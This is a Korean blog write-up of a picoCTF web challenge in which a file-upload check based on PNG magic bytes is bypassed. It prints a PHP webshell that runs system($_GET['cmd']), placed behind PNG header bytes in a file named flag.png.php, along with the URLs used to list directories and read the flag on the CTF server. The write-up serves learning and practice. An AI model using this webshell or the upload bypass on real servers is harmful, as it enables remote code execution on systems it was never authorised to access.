PNG 사진 파일을 받는 파일 첨부 창이 하나 주어진다.
PNG 파일을 올리면 다음과 같이 성공적으로 업로드가 되었다고 알려준다. 가능하면 처리한 후에 알려준다고 한다.
더 이상 할 수 있는 게 없어서 cookies와 robots.txt를 확인해 보았다. 쿠키 값은 없어서 도움이 안 되었지만 robots.txt 에서는 보여주지 않는 directory가 1개, 텍스트 파일 1개가 있어서 robots.txt를 활용하는 게 맞는 방향인 것 같다.
instructions.txt는 다음과 같다.
PNG 사진 파일을 처리하는 web app을 만들어 보자. 앱은 사용자들이 png 사진 파일들을 업로드 할 수 있어야 된다.
업로드한 파일에서 .png 확장자를 찾고 magic bytes가 맞는지 확인해야 한다. Magic bytes가 뭔지는 잘 모르겠지만 위키피디아에서는 앞의 몇 개의 bytes가 'PNG'를 hex 값으로 있어야 한다. PNG 파일이 맞는지 검증 후 업로드된 파일들을 저장한 후 관리자가 나중에 필요할 때 다시 사용할 수 있게 만들자.
Magic bytes(Header bytes)는 거의 모든 파일(bzip, gzip, ELF, Java)에 다 있다. CTF에서 magic bytes를 이용하는 문제가 많으니 잘 알아두자.
upload directory를 볼 수 있는 권한은 없는 것 같다.
문제에서 Debian(Linux 배포판 중 하나) Server를 사용하니 webshell을 이용해서 웹 서버에서 command를 inject 하여 flag를 얻는 방향으로 접근해 보는 것이 나쁘지 않을 것 같다.
대부분의 웹 서버에서 파일의 종류를 확인할 때 파일의 magic bytes 위주로 확인해서 파일의 종류를 검사한다. PNG 파일인 것 마냥 웹 서버를 속이기 위해서 파일의 앞부분에는 PNG의 magic bytes를 넣고 뒤에 부분은 PHP 코드를 이용해서 webshell을 작성하고 webshell로 원하는 command를 실행하면 될 것 같다.
일부로 파일이름을 flag.png.php로 지었다. 중간에. png가 있으면 웹 서버에서 png 파일로 착각할 것 같았기 때문이다.
PNG
<?php
system($_GET['cmd']);
?>
처음에 맥에서는 flag.png.php를 첨부할 수 없어서 무지 당황했다. 자동으로 웹 페이지에서 원하는 파일만 선택해 주기 때문에 왼쪽에 옵션 보기를 눌러서 모든 파일을 선택하면 아무 파일이나 선택할 수 있다.
잘 업로드 되었다.
이번에도 warning과 error를 보여줘서 놀랬다. cmd 값을 request로 보내면 system 함수가 실행하는 구조이기 때문에 cmd 값을 주면 warning은 없어진다.
http://atlas.picoctf.net:53390/uploads/flag.png.php?cmd
ls, cd로 웹 서버를 탐팡하다가 바로 상위 directory에 이것저것 있는 것을 발견했다.
http://atlas.picoctf.net:53390/uploads/flag.png.php?cmd=ls%20..
MFRDAZLDMUYDG.txt가 flag일 것 같다. 이름을 다 치기는 귀찮으니 *를 이용했다.
http://atlas.picoctf.net:53390/uploads/flag.png.php?cmd=cat%20../*.txt
검증된 전문가 trickster라는 의미의 flag가 나왔다.
Robots.txt, webshell 등 Web의 여러 요소들을 물어보는 좋은 문제가 아닌가 싶다.
사진파일인 것처럼 속여서 php 코드를 실행하는 부분 때문에 개인적으로는 Natas12, Natas13와 비슷하다고 느껴졌다. robots.txt를 추가로 확인해야 하는 점은 natas와는 조금 달랐다.
'picoCTF' 카테고리의 다른 글
ASCII Numbers (3) | 2024.11.06 |
---|---|
weirdSnake (0) | 2024.11.06 |
SansAlpha (0) | 2024.11.06 |
Verify (0) | 2024.10.29 |
findme (0) | 2024.10.29 |